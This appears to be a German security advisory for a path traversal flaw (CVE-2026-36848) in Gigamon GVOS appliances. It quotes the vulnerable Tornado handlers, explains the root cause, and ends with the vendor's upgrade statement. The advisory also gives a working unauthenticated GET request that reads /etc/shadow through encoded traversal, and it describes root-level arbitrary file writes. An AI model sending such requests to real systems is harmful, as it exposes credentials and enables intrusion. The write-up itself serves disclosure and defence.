
Gigamon Unauth RCE (CVE-2026-36848)
Eine kritische Path-Traversal-Schwachstelle wurde in der webbasierten Verwaltungs-Engine auf Port 8089 von Gigamon-VUE OS (GVOS)-Appliances identifiziert. Dieser Fehler existiert im Legacy-H-VUE-Subsystem innerhalb des persistd-Daemons und erlaubt es einem nicht authentifizierten, entfernten Angreifer mit Netzwerkzugriff auf den Dienst, beliebige Dateien zu lesen und teilweise Schreiboperationen (Überschreiben vorhandener Dateien ist nicht möglich) auf dem System mit Root-Rechten durchzuführen.
/opt/tms/persistd_py/persistd.pyroot)Der TornadoHTTP-Webdienst auf Port 8089 implementiert eine Routing-Konfiguration, die in /opt/tms/persistd_py/persistd.py abgebildet ist. Dieser Daemon stellt mehrere Routen zur Verfügung, um Datenbankinteraktionen und Konfigurationssicherungen zu verarbeiten:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
Die Handler DownloadDbFile und UploadDbFile übernehmen direkt die vom Benutzer bereitgestellten Pfade aus den URI-Regex-Erfassungsgruppen und leiten sie ungefiltert an die zugrunde liegenden Hilfsfunktionen weiter.
Wenn ein Client einen Dateidownload anfordert, ruft der GET-Handler die Hilfsfunktion download_file auf:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
Die zugrunde liegende Zielfunktion download_file versucht, die angeforderte Datei mit naiver Zeichenkettenverkettung zu öffnen, anstatt einen sicheren kanonischen Pfad aufzulösen:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
Da keine Überprüfung auf Verzeichnis-Traversal-Sequenzen wie .. erfolgt, wird jede über file_name injizierte relative Pfadsequenz direkt an DBFILE_DIR angehängt und relativ zum Systemstammverzeichnis aufgelöst.
Der PUT-Handler für Datenbank-Uploads übergibt den Anforderungstext und den benutzerdefinierten Pfad direkt an die Hilfsfunktion upload_file:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
Die Routine upload_file verwendet os.path.join, um den Zielpfad zu bestimmen. Ein häufiges Sicherheitsmissverständnis ist jedoch, dass os.path.join vor Traversal schützt. In der Realität, wenn eine an os.path.join übergebene Komponente einen absoluten Pfad oder relative Traversal-Schritte darstellt, wird der aufgelöste Pfad das Basisverzeichnis verlassen:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
Dieses strukturelle Fehlen einer Eingabebereinigung erlaubt es einem Angreifer, einen Pfad mit Traversal-Schritten zu übergeben, wodurch der Dienst beliebige Dateien außerhalb der Grenzen von DBFILE_DIR mit den Berechtigungen des Root-Benutzerkontexts des Daemons schreiben kann.
Wenn ein Angreifer die Pfadtrennzeichen URL-codiert (/ als %2F), dekodiert und evaluiert die Routing-Engine die Sequenz nahtlos und umgeht so die Standard-Pfadbeschränkungen.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
Nachfolgend finden Sie die offizielle Stellungnahme und die Upgrade-Anleitung des Herstellers zu dieser Schwachstelle:
Das Problem in dieser CVE war nur im H-VUE-Subsystem vorhanden. GVOS Version 6 hat das H-VUE-Subsystem vollständig entfernt, wobei GVOS 5.16.1 die letzte Version ist, die es enthält. Version 5.16.1 wurde am 26. Mai 2023 aus dem Support genommen. Keine der derzeit unterstützten GVOS-Versionen enthält diese Schwachstelle.
Die Support-Matrix für GVOS, die unterstützte Versionen und End-of-Support-Daten dokumentiert, finden Sie hier:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdfDie End-of-Sale- und End-of-Life-Richtlinie von Gigamon finden Sie hier:
https://www.gigamon.com/support/policies/eol-policy.htmlIn keiner Gigamon-Produktionsumgebung sollte eine nicht unterstützte Softwareversion ausgeführt werden (NIST SP 800-53 SA-22 "Unsupported System Components"). Falls Sie dies tun, empfiehlt Gigamon dringend, so bald wie möglich auf eine unterstützte Version zu aktualisieren. Unterstützte Kunden können aktualisierte Versionen von GVOS über das Gigamon-Community-Portal beziehen. Nicht unterstützte Kunden werden gebeten, Gigamon zu kontaktieren, um Support-Optionen zu besprechen:
https://www.gigamon.com/contact-sales.html
Wir möchten dem Produktsicherheits- und den Entwicklungsteams von Gigamon für ihre vorbildliche Koordination während dieses Offenlegungsprozesses danken.